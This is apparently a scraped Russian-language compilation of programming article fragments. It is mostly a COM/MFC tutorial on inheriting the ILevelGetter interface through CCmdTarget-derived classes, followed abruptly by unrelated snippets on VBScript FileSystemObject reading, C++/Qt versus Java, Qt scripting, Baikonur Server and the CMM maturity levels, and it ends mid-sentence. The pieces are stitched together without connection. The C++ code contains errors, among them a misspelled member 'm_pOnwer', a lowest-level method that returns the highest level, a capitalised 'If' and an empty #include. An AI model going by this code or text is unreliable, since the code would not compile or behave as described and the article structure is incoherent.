  • //--------------------------------------------------------------------------- STDMETHODIMP LevelGetter::GetLowestPossibleSafeLevel(long* plLowestSafeLevel) { *plLowestSafeLevel = 70; return S_OK; } //--------------------------------------------------------------------------- STDMETHODIMP LevelGetter::GetHighestPossibleSafeLevel(long* plHighestSafeLevel) { *plHighestSafeLevel = 98; return S_OK; } //--------------------------------------------------------------------------- STDMETHODIMP LevelGetter::GetCurrentLevel(long* plCurrentLevel) { *plCurrentLevel = 94; return S_OK; } //--------------------------------------------------------------------------- STDMETHODIMP LevelGetter::GetTextMessage(BSTR* ppbstrMessage) { *ppbstrMessage = ::SysAllocString(L"All clear, water level is fine"); return S_OK; }
  • Поскольку у вас уже есть методы, скомпилируйте и слинкуйте вашу COM DLL.Затем мы начнем создавать клиентское приложение.

    Часть 2: Наследование классов и наследование интерфейсов

    В первой части стать мы показали значимость неизменности интерфейсов и продемонстрировали, как разработчик может построить приложение, которое может легко заменять компоненты, если разработан интерфейс. А что, если интерфейс существующего COM-сервера имеет сотни методов? В примере из первой части мы сделали это простым клонированием интерфейса IlevelGetter, поскольку он содержал только четыре метода. Попробуйте с помощью OLE/COM Object Viewer просмотреть некоторые другие библиотеки типов на вашем компьютере. Как вы можете убедиться, многие компоненты имеют интерфейсы с весьма значительным количеством методов. Клонирование интерфейсов, которые реализуют сотни методов, с целью изменить всего лишь несколько из них было бы весьма обременительно.
    Правила COM гласят, что если вы наследуете интерфейс из существующего интерфейса, вам необходимо реализовывать все методы, поскольку описания интерфейсов содержат чисто виртуальные функции. То же правило, которое обеспечивает взаимозаменяемость деталей машин, может обернуться для разработчиков тяжелым, ненужным бременем!
    А что, если вы смогли бы наследовать интерфейсы без необходимости повторно описывать реализацию всех методов? Что если бы вы могли создать компонент, унаследовать интерфейсы и функциональное назначение и переделать функциональность по своему усмотрению? Сегодня это нельзя сделать с помощью COM объектов, разработанных вне вашей организации. Однако, если разработчики в вашей организации используют язык программирования, поддерживающий наследование и полиморфизм, типа Visual C++, вы это действительно сделаете. На самом деле, как мы покажем, MFC позволяет сделать это значительно легче.
    В корне MFC есть CCmdTarget. CCmdTarget - это не только базовый класс для message-map архитектуры, он также содержит Dispatch планы, которые влияют на интерфейсы, такие как IDispatch и IUnknown. Каждый прямой потомок CCmdTarget, созданный с помощью Class Wizard, содержит эти интерфейсы со своими собственными CLSID. CCmdTarget - один из основных рабочих классов и базовый класс для таких "повседневных" MFC классов, как CView, CWinApp, CDocument, CWnd и CFrameWnd.
    Соответственно, каждый производный класс от CCmdTarget может реализовывать собственные CLSID и интерфейсы.

    Пример, который мы собираемся рассмотреть, покажет наследование интерфейсов путем образования новых C++ производных классов от CCmdTarget. В нашем базовом классе мы реализуем интерфейс с методами, которые вызывают виртуальные функции членов C++ класса. Наш производный класс заменит некоторые из отобранных виртуальных функций. Что особенно важно, вместо реализации наследуемого класса в той же DLL, мы создадим отдельную DLL со своим собственным CLSID. Наиболее эффективно наследовать реализацию интерфейса от одного кода в другой без переписывания исходного интерфейса.

    Давайте начнем с просмотра кода в проекте BaseLevelGetterDLL. BaseLevelGetterDLL является типичной MFC DLL. Она была создана с помощью AppWizard как "regular DLL using the shared MFC DLL". Она также поддерживает автоматику (automation). Завершив работу с AppWizard, получаем BaseLevelGetterExport.h, а BASE_LEVEL_GETTER_DLL оказывается включенной как preprocessor definition в Project | Settings | C++. BaseLevelGetterExport.H и диалог Project | Settings приведены ниже.

    //BaseLevelGetterExport.h #ifndef BASE_LEVEL_GETTER_EXPORT_DLL_H #define BASE_LEVEL_GETTER_EXPORT_DLL_H #if defined(BASE_LEVEL_GETTER_DLL) #define BASE_LEVEL_GETTER_EXPORT __declspec(dllexport) #else #define BASE_LEVEL_GETTER_EXPORT __declspec(dllimport) #endif #endif //BASE_LEVEL_GETTER_EXPORT_DLL_H Часть 2: Наследование классов и наследование интерфейсов

    Определив BASE_LEVEL_GETTER_DLL, мы можем создавать классы и экспортировать их из нашей DLL.

    Следующим шагом будет создание C++ класса, который содержит наши интерфейсы. С помощью Class Wizard несколькими нажатиями кнопки мыши мы создадим класс, наследованный от CCmdTarget. Выделив Createable by type ID в диалоге New Class, мы создадим наш новый класс с макросом IMPLEMENT_OLECREATE, присваивающем классу его собственные CLSID и интерфейс IDispatch.

    Часть 2: Наследование классов и наследование интерфейсов

    Обращаясь к BaseLevelGetter.CPP, мы видим CLSID:

    //Here is our CLSID // {C20EA055-F61C-11D0-A25F-000000000000} IMPLEMENT_OLECREATE(BaseLevelGetter, "BaseLevelGetterDLL.BaseLevelGetter", 0xc20ea055, 0xf61c, 0x11d0, 0xa2, 0x5f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) И интерфейс под названием IbaseLevelGetter типа IDispatch:


    // {C20EA054-F61C-11D0-A25F-000000000000} static const IID IID_IBaseLevelGetter = { 0xc20ea054, 0xf61c, 0x11d0, { 0xa2, 0x5f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 } }; BEGIN_INTERFACE_MAP(BaseLevelGetter, CCmdTarget) INTERFACE_PART(BaseLevelGetter, IID_IBaseLevelGetter, Dispatch) END_INTERFACE_MAP() Вместо того, чтобы работать с интерфейсом, предоставляемым по умолчанию Class Wizard, мы собираемся добавить наш собственный интерфейс, чтобы показать как легко добавлять интерфейсы в классы-потомки от CCmdTarget. Первое, что мы должны сделать, - это описать наши интерфейсы. Определение интерфейса всегда одинаково. Каждый интерфейс должен иметь IID и IUnknown как основной интерфейс где-нибудь в своей иерархии. Также необходимо реализовать три метода IUnknown. В ILevelGetter.H мы используем GUIDGEN.EXE ( находится в \Program Files\DevStudio\VC\Bin) для генерации уникального IID для нашего интерфейса наследуем интерфейс от IUnknown. Дополнительно к трем виртуальным функциям IUnknown мы добавили еще 4 виртуальные функции, которые будут реализованы в нашем COM объекте. Ниже приведен полный код ILevelGetter.H.

    #ifndef ILEVELGETTER_H #define ILEVELGETTER_H // {BCB53641-F630-11d0-A25F-000000000000} static const IID IID_ILevelGetter = { 0xbcb53641, 0xf630, 0x11d0, { 0xa2, 0x5f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 } }; interface ILevelGetter : public IUnknown { //first add the three always required methods virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, LPVOID* ppvObj) = 0; virtual ULONG STDMETHODCALLTYPE AddRef() = 0; virtual ULONG STDMETHODCALLTYPE Release() = 0; //now add methods for this custom interface virtual HRESULT STDMETHODCALLTYPE GetCurrentLevel(long* plCurrentLevel) = 0; virtual HRESULT STDMETHODCALLTYPE GetHighestPossibleSafeLevel(long* plHighestSafeLevel) = 0; virtual HRESULT STDMETHODCALLTYPE GetLowestPossibleSafeLevel(long* plLowestSafeLevel) = 0; virtual HRESULT STDMETHODCALLTYPE GetTextMessage(BSTR* ppbstrMessage) = 0; }; Следующим шагом будет определение методов интерфейса в BaseLevelGetter.H.


    В верхней части BaseLevelGetter.H добавим директиву include для описания нашего интерфейса как это показано ниже:

    #include "ILevelGetter.h" Как только мы включили ILevelGetter.H, мы можем добавить наши методы интерфейса, используя макрос BEGIN_INTERFACE_PART. В итоге BEGIN_INTERFACE_MACRO создает вложенный класс типа XLevelGetter и член класса m_xLevelGetter в BaseLevelGetter. (Более подробное описание макроса BEGIN_INTERFACE_PART смотри MFC Technical Note 38.) Каждый метод в интерфейсе объявляется в макросе так же, как если бы никакого макроса не было. Можно убедиться, что объявления метода в ILevelGetter.H такие же как и в версии с использованием ATL.

    BEGIN_INTERFACE_PART(LevelGetter, ILevelGetter) STDMETHOD(GetCurrentLevel) (long* plCurrentLevel); STDMETHOD(GetHighestPossibleSafeLevel) (long* plHighestSafeLevel); STDMETHOD(GetLowestPossibleSafeLevel) (long* plLowestSafeLevel); STDMETHOD(GetTextMessage) (BSTR* ppbstrMessage); END_INTERFACE_PART(LevelGetter) Поскольку наша цель заключается в эффективном наследовании интерфейсов из одного источника в другой без необходимости повторного описания реализации всех методов, мы собираемся добавить четыре виртуальных функции в наш класс. Каждая виртуальная функция будет соответствовать методу в интерфейсе ILevelGetter. В примере эти методы описаны в нижней части class declaration сразу после макроса BEGIN_INTERFACE_PART.

    //since the class can be dynamically created //these virtual functions cannot be pure virtual long GetCurrentLevel(); virtual long GetHighestSafeLevel(); virtual long GetLowestSafeLevel(); virtual CString GetMessage(); Отметим, что поскольку наш класс-потомок от CCmdTarget использует DECLARE_DYNCREATE, эти функции не могут быть чисто виртуальными.

    Последнее, что осталось сделать, - объявить наш класс "exportable". Для этого нам необходимо всего лишь включить наше описание экспорта в описание класса. Это выглядит так:

    #include "BaseLevelGetterExport.h" class BASE_LEVEL_GETTER_EXPORT BaseLevelGetter : public CCmdTarget { Реализация нашего интерфейса также проста.


    Первое, что нужно сделать, - это добавить поддержку нашему новому интерфейсу ILevelGetter. Общее правило заключается в добавлении макроса INTERFACE_PART между BEGIN_INTERFACE_PART и END_INTERFACE_PART для каждого поддерживаемого интерфейса. В BaseLevelGetter.CPP это делается дополнением следующей строки:

    INTERFACE_PART(BaseLevelGetter, IID_ILevelGetter, LevelGetter) Так что полное описание INTERFACE_PART выглядит следующим образом:

    BEGIN_INTERFACE_MAP(BaseLevelGetter, CCmdTarget) INTERFACE_PART(BaseLevelGetter, IID_IBaseLevelGetter, Dispatch) INTERFACE_PART(BaseLevelGetter, IID_ILevelGetter, LevelGetter) END_INTERFACE_MAP() Далее мы описываем реализацию методов ILevelGetter. Первые три метода, которые должны быть реализованы, - это QueryInterface, AddRef и Release из IUnknown. Эти методы показаны ниже.

    //------------------------------------------------------------------------ HRESULT FAR EXPORT BaseLevelGetter::XLevelGetter::QueryInterface ( REFIID iid, LPVOID* ppvObj ) { METHOD_PROLOGUE_EX_(BaseLevelGetter, LevelGetter) return (HRESULT) pThis->ExternalQueryInterface(&iid, ppvObj); } //------------------------------------------------------------------------- ULONG FAR EXPORT BaseLevelGetter::XLevelGetter::AddRef() { METHOD_PROLOGUE_EX_(BaseLevelGetter, LevelGetter) return (ULONG) pThis->ExternalAddRef(); } //------------------------------------------------------------------------- ULONG FAR EXPORT BaseLevelGetter::XLevelGetter::Release() { METHOD_PROLOGUE_EX_(BaseLevelGetter, LevelGetter) return (ULONG) pThis->ExternalRelease(); } Четыре метода ILevelGetter реализуются весьма просто. Вместо фактического выполнения обработки, каждый метод вызывает свою связанную функцию через указатель pThis. На самом деле это требует некоторых дополнительных объяснений. Если вы посмотрите на определение макроса BEGIN_INTERFACE_PART(...) (файл ...\MFC\include\AFXDISP.H), вы обратите внимание, что этот макрос является вложенным описанием класса. Макрос делает вложенный класс (в нашем случае, XLevelGetter) производным от интерфейса (ILevelGetter в нашем примере) и объявляет его в пределах существующего класса (BaseLevelGetter).


    Макрос END_INTERFACE_PART(...) завершает "внутреннее" описание класса XLevelGetter и объявляет переменную члена этого класса m_xLevelGetter. Поскольку m_xLevelGetter является членом класса BaseLevelGetter, мы могли бы некоторыми сложными арифметическими операциями над указателями передать от this объекта XLevelGetter в this объекта, содержащего BaseLevelGetter. Однако библиотека MFC содержит другой макрос, выполняющий то же самое. Он называется METHOD_PROLOGUE_EX_, и в нашем конкретном случае он создаст переменную BaseLevelGetter* pThis. Вы можете использовать pThis для доступа к public членам и методам "внешнего" класса BaseLevelGetter, включая виртуальные (полиморфные) функции. Вызов виртуальных функций во "внешнем" классе, фактически, приводит к наследованию интерфейса. Обратите внимание, что виртуальные функции BaseLevelGetter возвращают бессмысленные значения и содержат комментарии, чтобы позволить разработчикам, создающим производные классы, переписать эти функции.

    Другой способ показать виртуальное отношение, возможно значительно более удобный для чтения, - это "указать владельца объекта" (set an owner object) в классе XLevelGetter (класс, созданный макросом BEGIN_INTERFACE_PART). Внутри макроса BEGIN_INTERFACE_PART (BaseLevelGetter.H) мы добавляем две функции, и член класса выглядит следующим образом:

    XLevelGetter() { m_pOwner = NULL; } //constructor sets member to NULL void SetOwner( BaseLevelGetter* pOwner ) { m_pOwner = pOwner; } //set the member BaseLevelGetter* m_pOwner; //class member Внутри конструктора BaseLevelGetter мы вызываем XLevelGetter::SetOwner. Как упоминалось выше, макрос BEGIN_INTERFACE_PART добавляет в BaseLevelGetter член класса m_xLevelGetter, который представляет LevelGetter. В конструкторе BaseLevelGetter мы вызываем:

    m_xLevelGetter.SetOwner( this ); который присваивает m_pOnwer значение действительного объекта.

    Ниже показана реализация четырех методов ILevelGetter и четырех ассоциированных виртуальных функций BaseLevelGetter.


    Остальные два метода (GetLowestPossibleSafeLevel и GetTextMessage) реализованы по принципу использования "владельца объекта".

    //------------------------------------------------------------------------ STDMETHODIMP BaseLevelGetter::XLevelGetter::GetCurrentLevel ( long* plCurrentLevel ) { METHOD_PROLOGUE_EX_(BaseLevelGetter, LevelGetter) //call outer object's GetCurrentLevel //whether this class or a derived class *plCurrentLevel = pThis->GetCurrentLevel(); return S_OK; } //------------------------------------------------------------------------- STDMETHODIMP BaseLevelGetter::XLevelGetter::GetHighestPossibleSafeLevel ( long* plHighestSafeLevel ) { METHOD_PROLOGUE_EX_(BaseLevelGetter, LevelGetter) //call outer object's GetHighestSafeLevel //whether this class or a derived class *plHighestSafeLevel = pThis->GetHighestSafeLevel(); return S_OK; } //------------------------------------------------------------------------- STDMETHODIMP BaseLevelGetter::XLevelGetter::GetLowestPossibleSafeLevel ( long* plLowestSafeLevel ) { METHOD_PROLOGUE_EX_(BaseLevelGetter, LevelGetter) //call outer object's GetLowestSafeLevel //whether this class or a derived class if( m_pOnwer != NULL) { *plLowestSafeLevel = m_pOwner->GetHighestSafeLevel(); } else { ASSERT(FALSE); } return S_OK; } //------------------------------------------------------------------------ STDMETHODIMP BaseLevelGetter::XLevelGetter::GetTextMessage ( BSTR* ppbstrMessage ) { METHOD_PROLOGUE_EX_(BaseLevelGetter, LevelGetter) //call outer object's GetMessage //whether this class or a derived class CString sMessage; If( m_pOwner != NULL ) { sMessage = m_pOwner->GetMessage(); } else { ASSERT(FALSE); } *ppbstrMessage = sMessage.AllocSysString(); return S_OK; } //--------------------------------------------------------------------- long BaseLevelGetter::GetCurrentLevel() { TRACE("Derived classes should override!"); return -1; } //--------------------------------------------------------------------- long BaseLevelGetter::GetHighestSafeLevel() { TRACE("Derived classes should override!"); return -1; } //--------------------------------------------------------------------- long BaseLevelGetter::GetLowestSafeLevel() { TRACE("Derived classes should override!"); return -1; } //--------------------------------------------------------------------- CString BaseLevelGetter::GetMessage() { TRACE("Derived classes should override!"); return "BaseLevelGetter"; } Скомпилируйте и слинкуйте приложение.


    Как только DLL создана, скопируйте ее в каталог Windows\System (\WINNT\System32 для Windows NT).

    Важно: Поскольку мы будем использовать интерфейс ILevelGetter из BaseLevelGetter, не забудьте после помещения этой DLL в соответствующий каталог зарегистрировать ее с помощью RegSvr32. Если бы мы использовали BaseLevelGetter как абстрактный базовый класс (т.е. виртуальные функции BaseLevelGetter должны были бы быть переопределены) и при этом, возможно, удалось бы избежать ошибок в реализации, тогда не было бы необходимости регистрировать COM объект с помощью RegSvr32. Чтобы построить COM объект, который реализует интерфейс ILevelGetter, но не требует переопределения всех методов, мы создаем COM DLL точно так же, как BaseLevelGetterDLL: мы создаем MFC AppWizard DLL, которая поддерживает automation, и добавляем класс, являющийся потомком CCmdTarget. Пример содержит проект HotTubLevelGetterDLL с классом HotTubLevelGetter - потомком от CmdTarget, который создается через диалог New Class в Class Wizard, как показано ниже.

    Часть 2: Наследование классов и наследование интерфейсов

    Далее добавляем BaseLevelGetterDLL в путь include, указав его как каталог Additional Include на закладке Project | Settings | C/C++ , как показано ниже.

    Часть 2: Наследование классов и наследование интерфейсов

    И линкуем BaseLevelGetterDLL.lib, добавляя ее как Library Module на закладке Project | Settings | Link.

    Часть 2: Наследование классов и наследование интерфейсов

    Завершив все установки проекта, выполним следующие пять шагов для полного завершения создания COM DLL plug-in.

    1. Открыть HotTubLevelGetter.H и заменить все instances из CCmdTarget на BaseLevelGetter (существует единственная instance CCmdTarget в HotTubLevelGetter.H).

    Часть 2: Наследование классов и наследование интерфейсов

    2. Добавить BaseLevelGetter.H как include:

    #include class HotTubLevelGetter : public BaseLevelGetter { 3. Переписать виртуальные функции BaseLevelGetter как это требуется. В примере объявляются две следующие виртуальные функции:

    virtual CString GetMessage( ) { return "HotTubLevelGetter"; } virtual long GetCurrentLevel( ) { return -2; } 4. Открыть HotTubLevelGetter.CPP и заменить все instances из CCmdTarget на BaseLevelGetter (существует пять instances CCmdTarget в HotTubLevelGetter.CPP).


    5. Выполнить компиляцию и линковку. Не забудьте зарегистрировать вашу COM DLL через RegSvr32.

    Прежде чем продемонстрировать работу COM plug-in на клиенте, давайте посмотрим что мы построили. Классы BaseLevelGetter и HotTubLevelGetter оба являются потомками CCmdTarget. Когда мы создавали HotTubLevelGetter, мы указали Class Wizard наследовать его от CCmdTarget. Напомним, что каждый класс, созданный Class Wizard как прямой потомок CCmdTarget, поддерживает собственные CLSID и интерфейс IDispatch. Когда мы изменяем базовый класс HotTubLevelGetter с CCmdTarget на BaseLevelGetter, HotTubLevelGetter наследует виртуальные методы BaseLevelGetter.

    Когда клиенту необходим доступ к HotTubLevelGetter, он выполняет обычный CoCreateInstance(...) - передавая CLSID HotTubLevelGetter и IID_ILevelGetter, и вызывая методы ILevelGetter. Когда выполняется какой-либо метод, например, GetCurrentLevel, METHOD_PROLOGUE_EX_ берет значение pThis из offset table, и pThis действительно указывает на instance HotTubLevelGetter. То же вещь происходит, когда мы используем m_pOwner (он также указывает на instance HotTubLevelGetter); это немного легче для понимания из-за того, что мы можем наблюдать как выполняется метод m_xLevelGetter.SetOwner( this ). Давайте посмотрим на клиентское приложение и установим некоторые точки прерывания.

    Откройте LevelViewer в папке LevelViewer2. Этот проект почти идентичен первому варианту LevelViewer. OnFish позиционирован в BaseLevelGetter, а OnGas - в HotTubLevelGetter, как показано далее.

    //----------------------------------------------------------- void CLevelViewerDlg::OnFish() //mapped to BaseLevelGetter { m_sLastCalled = _T("CheckedFish"); CLSID clsid; HRESULT hRes = AfxGetClassIDFromString("BaseLevelGetterDLL.BaseLevelGetter", &clsid); if(SUCCEEDED(hRes)) SetNewData(clsid, IID_ILevelGetter); } //------------------------------------------------------------ void CLevelViewerDlg::OnGas() //mapped to HotTubLevelGetter { m_sLastCalled = _T("CheckedGas"); CLSID clsid; HRESULT hRes = AfxGetClassIDFromString("HotTubLevelGetterDLL.HotTubLevelGetter", &clsid); if(SUCCEEDED(hRes)) SetNewData(clsid, IID_ILevelGetter); } Обе функции вызывают SetNewData, передавая CLSID, созданный Class Wizard, и IID_ILevelGetter, описанный в ILevelGetter.H и включенный вLevelViewerDlg.H.


    Замечание: на закладке C++ , категория Preprocessor, добавьте ..\BaseLevelGetterDLL в качестве дополнительного include каталога.

    SetNewData работает точно также, как и раньше. Постройте и слинкуйте приложение, но перед запуском поставьте точки прерывания на каком-нибудь одном или на всех методах интерфейса как показано ниже.

    Часть 2: Наследование классов и наследование интерфейсов

    Когда выполнение остановится на точке прерывания, воспользуйтесь режимом "Step Into" (по клавише F8 или F11 в зависимости от установленной системы) и пошаговым проходом (F10) дойдите до строки с указателем объекта pThis или m_pOwner. Проверьте значение. В зависимости от того, подключил таймер HotTubLevelGetter или BaseLevelGetter, pThis (или m_pOnwer) будут указывать на правильный объект.

    Часть 2: Наследование классов и наследование интерфейсов

    Часть 2: Наследование классов и наследование интерфейсов

    Как вы видели, COM plug-ins - весьма мощный метод разработки приложений, который может использоваться в реальных ситуациях, например, такой как описана ниже.

    Медицинская страховая компания, которая занимается разработкой заказных планов страхования для крупных компаний, приходит к вам за советом относительно разработки новой Windows системы. Каждый раз, когда они добавляют новый план, они должны разработать новую логику обработки или внести небольшое исправление в обрабатывающую логику для существующего плана, но не должны пересматривать каждую часть функционального назначения. Но поскольку они все время добавляют планы в свою систему, модификация, переопределение реализации или клонирование апробированной исходной программы непрактично, поскольку это чревато потерей целостности работающего кода, независимо от аккуратности программистов.

    Как разработчик COM на C++, вы понимаете потребность в заменяемых компонентах, которые поддерживают полиморфизм. Рассмотрим следующее: интерфейс IBasePlan, входящий в класс BasePlan, реализует 100 методов интерфейса. Требования плана ABC включают модификацию реализации 50 методов в интерфейсе IBasePlan. Требования плана XYZ включают модификацию реализации 51 метода в интерфейсе IBasePlan, но 50 из них точно такие же, как для плана ABC.


    Вместо полного определения реализации для каждого COM объекта, вы назначаете в BasePlan 100 виртуальных функций члена C++ класса, по одной для каждого метода в интерфейсе IBasePlan , как вышеприведенном примере.

    Поскольку у вас есть ассоциированные виртуальные функции в классе BasePlan, иерархия класса для плана XYZ такова:

    1. class BASE_PLAN_EXPORT BasePlan : public CCmdTarget

    Реализует IBasePlan, 100 методов интерфейса и 100 ассоциированных виртуальных функций члена C++ класса.

    2. class ABC_PLAN_EXPORT ABCPlan : public BasePlan

    Наследуется от BasePlan, использует 50 виртуальных функций члена C++ класса в BasePlan и замещает 50 виртуальных функций BasePlan.

    3. class XYZPlan : public ABCPlan

    Наследуется от ABCPlan, использует 49 виртуальных функций члена C++ класса в BasePlan, использует 50 виртуальных функций члена C++ класса в ABCPlan и замещает 1 виртуальную функцию BasePlan.

    Каждый компонент создается как отдельный binary и COM объект. Каждый из них имеет отдельный CLSID и, благодаря структуре наследования, реализует интерфейс IBasePlan. Применяя AppWizard и Class Wizard, вы можете завершить реализацию плана XYZ в течение нескольких минут без какого-либо затрагивания COM компонентов базового класса. Все библиотеки COM DLL размещаются на том же компьютере, и если вы используете компонентные категории или другие аналогичные методы регистрации, приложение клиента найдет план XYZ, как только он будет зарегистрирован RegSvr32.

    Чтение файлов с помощью FSO

    Для чтения данных из текстового файла используйте методы Read, ReadLine или ReadAll объекта TextStream:
    ЗадачаМетод
    Чтение определенного числа символов из файлаRead
    Чтение строки целиком (но не включая символ новой строки)ReadLine
    Чтение текстового файла целикомReadAll
    Если вы используете метод Read или ReadLine и хотите перейти к определенной части файла, воспользуйтесь методами Skip или SkipLine для пропуска определенного числа символов (или, соответственно, строк). Полученный в результате использования этих методов текст может быть сохранен в символьной переменной и обрабатываться функциями Left, Right и Mid. Обратите внимание, что константа vbNewLine содержит символ или символы (в зависимости от операционной системы) перевода курсора на следующую строку (возврат каретки). Некоторые символьные переменные могут содержать в конце эти непечатаемые символы. Sub Read_Files() Dim fso As New FileSystemObject, txtfile Dim fil1 As File, ts As TextStream Set txtfile = fso.CreateTextFile("c:\testfile.txt", True) MsgBox "Writing file" ' Запись линии Set fil1 = fso.GetFile("c:\testfile.txt") Set ts = fil1.OpenAsTextStream(ForWriting) ts.Write "Hello World" ts.Close ' Чтение содержания файла Set ts = fil1.OpenAsTextStream(ForReading) s = ts.ReadLine MsgBox s ts.Close End Sub

    Что мы сравниваем?

    При выборе средств для разработки крупного программного проекта необходимо учесть множество различных аспектов, наиболее важнейшим из которых является язык программирования, потому что он в значительной степени определяет другие доступные средства. Например, для разработки пользовательского графического интерфейса разработчикам необходима GUI-библиотека, предоставляющая готовые элементы интерфейса, такие, как кнопки и меню. Так как выбор GUI-библиотеки оказывает большое влияние на разработку проекта, часто ее выбор осуществляется первым, а язык программирования определяется из числа доступных для этой библиотеки языков. Обычно, язык программирования определяется библиотекой однозначно. Другие компоненты средств разработки, такие, как библиотеки доступа к базам данных или библиотеки коммуникаций, также должны быть приняты во внимание, но они не оказывают такого влияния на разработку проекта, как библиотеки GUI. Целью этой статьи является сравнение C++/Qt и Java/AWT/Swing. Чтобы это сделать наиболее точно, мы сначала сравним языки программирования, то есть C++ и Java, а потом две GUI-библиотеки: Qt для C++ и AWT/Swing для Java.

    Что потребуется

    Для построения примеров вам потребуется Microsoft Visual C++(r) 5.0. Нет необходимости в десятилетнем опыте по Windows(r) и C, достаточно некоторого знакомства с Visual C++, MFC, наследованием и полиморфизмом. Примеры будут построены и выполнены под Windows NT(r) или Windows 95. Мы будем использовать OLE/COM Object Viewer - удобную утилиту, поставляемую вместе с Visual C++ 5.0 и Visual Basic(r) 5.0, а также доступную для download на http://www.microsoft.com/oledev.

    Что предоставляют сценарии?

    Разработчики больших и сложных приложений сталкиваются с двумя проблемами:
  • Независимо от функциональных возможностей и количества настроек приложения всегда бывают случаи, когда выбор пользователя оказывается в чем-то ограничен.
  • Расширение функциональности и гибкости приложений, а также быстрое исправление ошибок могут обходиться очень дорого. Использование сценариев в приложениях позволяет облегчить решение указанных проблем и предоставляет четыре дополнительных преимущества:
  • Сценарии позволяют пользователям создавать собственные решения на базе функциональности, предоставляемой приложением.
  • Сценарии позволяют отделам поддержки быстро и легко решать проблемы клиентов и исправлять ошибки без вмешательства в код приложений.
  • Приложения с поддержкой сценариев более привлекательны для реселлеров. Они могут продавать готовые решения, основанные на приложениях и собственных сценариях.
  • Приложения с поддержкой сценариев позволяют разработчикам сосредоточиться на создании базовых возможностей программы, а многочисленные функциональные вариации предоставить для реализации пользователям. Поддержка сценариев - проверенное и широко используемое решение: от Microsoft Office VBA до Emacs Lisp. Некоторые клиенты Qt уже предлагают поддержку сценариев в своих приложениях на базе продуктов третьих фирм, поэтому потребность в поддержке сценариев для приложений Qt может быть удовлетворена Qt Script.

    Что такое Baikonur Server.

    Baikonur - програмный продукт компании Epsylon Technologies, предназначенный для быстрой разработки приложений, ориентированных на использование Web-браузеров в качестве клиентских мест для доступа к базам данных во внутрикорпоративных сетях Intranet, а также Internet. Собственно Baikonur из себя представляет сервер приложений, частным случаем которого является Web-сервер приложений, в состав поставки входят еще и дополнительные библиотеки для различных средств программирования, в частности, для Borland Delphi (для C++, Java, JavaScript - в старших версиях). Baikonur Server предназначен для построения как очень простых, так и очень сложных Internet/Intranet систем на платформе Windows NT. Самое простое, что может делать Baikonur Server - это служить в качестве обыкновенного Web сервера, имеющего дело со стандартными HTML-документами. Однако, в отличие от стандартного Web-сервера, основные ресурсы, которыми оперирует Baikonur-сервер - это информационные потоки и задачи. В результате при помощи сервера Baikonur появляется возможность элегантного построения функционально весьма сложных и разветвленных информационных систем.

    Что такое СММ

    CMM (Capability Maturity Model) — модель зрелости процессов создания ПО, или эволюционная модель развития способности компании разрабатывать качественное программное обеспечение. Изначально CMM разрабатывалась и развивалась как методика, позволяющая крупным правительственным организациям США выбирать наилучших поставщиков ПО. Для этого предполагалось создать исчерпывающее описание способов оценки процессов разработки ПО и методики их дальнейшего усовершенствования. В итоге авторам удалось достичь такой степени подробности и детализации, что стандарт оказался пригодным и для обычных компаний-разработчиков, стремящихся качественно улучшить существующие процессы разработки, привести их к определенным стандартам. Ключевым понятием стандарта является зрелость организации. Незрелой считается организация, в которой процесс разработки программного обеспечения зависит только от конкретных исполнителей и менеджеров, а решения зачастую просто импровизируются «на ходу» — то, что на современном языке называется творческим подходом, или искусством. В этом случае велика вероятность превышения бюджета или выхода за рамки сроков сдачи проекта, поэтому менеджеры и разработчики вынуждены заниматься только разрешением актуальных проблем, становясь тем самым заложниками собственного программного продукта. К сожалению, на данном этапе развития находится большинство компаний (по градации CMM этот уровень обозначается числом 1). В зрелой организации, напротив, имеются четко определенные процедуры создания программных продуктов и отработанные механизмы управления проектами. Все процедуры и механизмы по мере необходимости уточняются и совершенствуются в пилотных проектах. Оценки времени и стоимости выполнения работ основываются на накопленном опыте и достаточно точны. Наконец, в компании существуют стандарты на процессы разработки, тестирования и внедрения, а также правила оформления конечного программного кода, компонентов, интерфейсов и т.д. Все это составляет инфраструктуру и корпоративную культуру, поддерживающую процесс разработки программного обеспечения.
    Технология выпуска будет лишь незначительно меняться от проекта к проекту на основании абсолютно стабильных и проверенных подходов. CMM определяет пять уровней зрелости организаций. В результате аттестации компании присваивается определенный уровень, который в дальнейшем может повышаться или понижаться. Следует отметить, что каждый следующий уровень включает в себя все ключевые характеристики предыдущих. (1) Начальный уровень (initial level) — это основной стандарт. К данному уровню, как правило, относится любая компания, которой удалось получить заказ, разработать и передать заказчику программный продукт. Предприятия первого уровня не отличаются стабильностью разработок. Как правило, успех одного проекта не гарантирует успешность следующего. Для компаний данного уровня свойственны неравномерность процесса разработки — наличие авралов в работе. К этой категории можно отнести любую компанию, которая хоть как-то исполняет взятые на себя обязательства. (2) Повторяемый уровень (repeatable level). Данному уровню соответствуют предприятия, обладающие определенными технологиями управления проектами. Планирование и управление в большинстве случаев основывается на имеющемся опыте. Как правило, в компании данного уровня уже выработаны внутренние стандарты и организованы специальные группы проверки качества. (3) Определенный уровень (defined level). Уровень характеризуется наличием формального подхода к управлению (то есть описаны все типичные действия, необходимые для многократного повторения: роли участников, форматы документов, производимые действия и пр.). Для создания и поддержания подобного стандарта в актуальном состоянии в организации уже подготовлена специальная группа. Компания постоянно проводит специальные тренинги для повышения профессионального уровня своих сотрудников. Начиная с этого уровня организация перестает зависеть от личностных качеств конкретных разработчиков и не имеет тенденции скатываться на нижестоящие уровни. Абстрагирование от разработчиков обусловлено продуманным механизмом постановки задач и контроля исполнения. (4) Управляемый уровень (managed level).


    Уровень, при котором устанавливаются количественные показатели качества. (5) Оптимизирующий уровень (optimizing level) характеризуется тем, что мероприятия по совершенствованию рассчитаны не только на существующие процессы, но и на оценку эффективности ввода новых технологий. Основной задачей всей организации на этом уровне является постоянное совершенствование существующих процессов, которое в идеале призвано способствовать предупреждению возможных ошибок или дефектов. Применяется механизм повторного использования компонентов от проекта к проекту, например шаблоны отчетов, форматы требований. Из градации уровней видно, что технологические требования сохраняются только до 3-го уровня, далее же в основном следуют требования к административному управлению. То есть уровни 4 и 5 по большей части управленческие и для их достижения важно не только выпустить программный продукт, но и проанализировать ход проекта, а также построить планы на будущий проект, основываясь на текущих шаблонах. Применение данных подходов должно обеспечить планомерно-плавное улучшение используемых процессов. Пока в России знают только аббревиатуру СММ, но не представляют себе, каким образом можно добиться качественного скачка. И дело не только в том, что неизвестно направление этого скачка, а в том, что каждой отдельно взятой компании довольно трудно 